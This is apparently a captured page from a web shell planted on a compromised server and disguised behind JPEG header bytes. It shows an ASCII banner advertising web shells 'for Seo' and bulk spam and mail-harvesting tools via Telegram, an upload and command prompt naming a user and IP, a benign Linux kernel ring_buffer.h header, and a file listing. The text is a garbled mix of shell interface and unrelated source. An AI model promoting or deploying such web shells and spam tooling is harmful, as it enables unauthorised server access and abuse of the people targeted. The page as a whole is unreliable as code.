����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
#ifndef _TOOLS_LINUX_RING_BUFFER_H_
#define _TOOLS_LINUX_RING_BUFFER_H_

#include <asm/barrier.h>
#include <linux/perf_event.h>

/*
 * Contract with kernel for walking the perf ring buffer from
 * user space requires the following barrier pairing (quote
 * from kernel/events/ring_buffer.c):
 *
 *   Since the mmap() consumer (userspace) can run on a
 *   different CPU:
 *
 *   kernel                             user
 *
 *   if (LOAD ->data_tail) {            LOAD ->data_head
 *                      (A)             smp_rmb()       (C)
 *      STORE $data                     LOAD $data
 *      smp_wmb()       (B)             smp_mb()        (D)
 *      STORE ->data_head               STORE ->data_tail
 *   }
 *
 *   Where A pairs with D, and B pairs with C.
 *
 *   In our case A is a control dependency that separates the
 *   load of the ->data_tail and the stores of $data. In case
 *   ->data_tail indicates there is no room in the buffer to
 *   store $data we do not.
 *
 *   D needs to be a full barrier since it separates the data
 *   READ from the tail WRITE.
 *
 *   For B a WMB is sufficient since it separates two WRITEs,
 *   and for C an RMB is sufficient since it separates two READs.
 *
 * Note, instead of B, C, D we could also use smp_store_release()
 * in B and D as well as smp_load_acquire() in C.
 *
 * However, this optimization does not make sense for all kernel
 * supported architectures since for a fair number it would
 * resolve into READ_ONCE() + smp_mb() pair for smp_load_acquire(),
 * and smp_mb() + WRITE_ONCE() pair for smp_store_release().
 *
 * Thus for those smp_wmb() in B and smp_rmb() in C would still
 * be less expensive. For the case of D this has either the same
 * cost or is less expensive, for example, due to TSO x86 can
 * avoid the CPU barrier entirely.
 */

static inline u64 ring_buffer_read_head(struct perf_event_mmap_page *base)
{
/*
 * Architectures where smp_load_acquire() does not fallback to
 * READ_ONCE() + smp_mb() pair.
 */
#if defined(__x86_64__) || defined(__aarch64__) || defined(__powerpc64__) || \
    defined(__ia64__) || defined(__sparc__) && defined(__arch64__)
	return smp_load_acquire(&base->data_head);
#else
	u64 head = READ_ONCE(base->data_head);

	smp_rmb();
	return head;
#endif
}

static inline void ring_buffer_write_tail(struct perf_event_mmap_page *base,
					  u64 tail)
{
	smp_store_release(&base->data_tail, tail);
}

#endif /* _TOOLS_LINUX_RING_BUFFER_H_ */

Filemanager

Name Type Size Permission Actions
sched Folder 0755
unaligned Folder 0755
align.h File 339 B 0644
arm-smccc.h File 5.63 KB 0644
atomic.h File 363 B 0644
bitfield.h File 5.33 KB 0644
bitmap.h File 4.82 KB 0644
bitops.h File 2.15 KB 0644
bits.h File 1.17 KB 0644
btf_ids.h File 5.97 KB 0644
bug.h File 442 B 0644
build_bug.h File 3.04 KB 0644
compiler-gcc.h File 1.24 KB 0644
compiler.h File 5.82 KB 0644
compiler_types.h File 1.09 KB 0644
const.h File 421 B 0644
coresight-pmu.h File 2.32 KB 0644
ctype.h File 1.9 KB 0644
debug_locks.h File 288 B 0644
delay.h File 117 B 0644
err.h File 1.99 KB 0644
export.h File 129 B 0644
filter.h File 9.59 KB 0644
find.h File 5.77 KB 0644
ftrace.h File 120 B 0644
gfp.h File 322 B 0644
gfp_types.h File 46 B 0644
hardirq.h File 280 B 0644
hash.h File 2.93 KB 0644
hashtable.h File 4.44 KB 0644
interrupt.h File 129 B 0644
interval_tree_generic.h File 6.7 KB 0644
irqflags.h File 1.37 KB 0644
jhash.h File 4.46 KB 0644
kallsyms.h File 646 B 0644
kconfig.h File 2.39 KB 0644
kern_levels.h File 954 B 0644
kernel.h File 2.64 KB 0644
linkage.h File 123 B 0644
list.h File 22.48 KB 0644
list_sort.h File 374 B 0644
lockdep.h File 1.43 KB 0644
log2.h File 4.46 KB 0644
math.h File 764 B 0644
math64.h File 1.22 KB 0644
module.h File 270 B 0644
mutex.h File 117 B 0644
nmi.h File 0 B 0644
numa.h File 292 B 0644
objtool_types.h File 1.8 KB 0644
overflow.h File 4.11 KB 0644
poison.h File 2.5 KB 0644
proc_fs.h File 123 B 0644
rbtree.h File 9.32 KB 0644
rbtree_augmented.h File 9.34 KB 0644
rcu.h File 437 B 0644
refcount.h File 4.11 KB 0644
ring_buffer.h File 2.4 KB 0644
rwsem.h File 920 B 0644
seq_file.h File 126 B 0644
sizes.h File 1.12 KB 0644
slab.h File 1.17 KB 0644
spinlock.h File 1.24 KB 0644
stacktrace.h File 678 B 0644
static_call_types.h File 2.74 KB 0644
string.h File 1.4 KB 0644
stringify.h File 380 B 0644
time64.h File 347 B 0644
types.h File 1.72 KB 0644
zalloc.h File 252 B 0644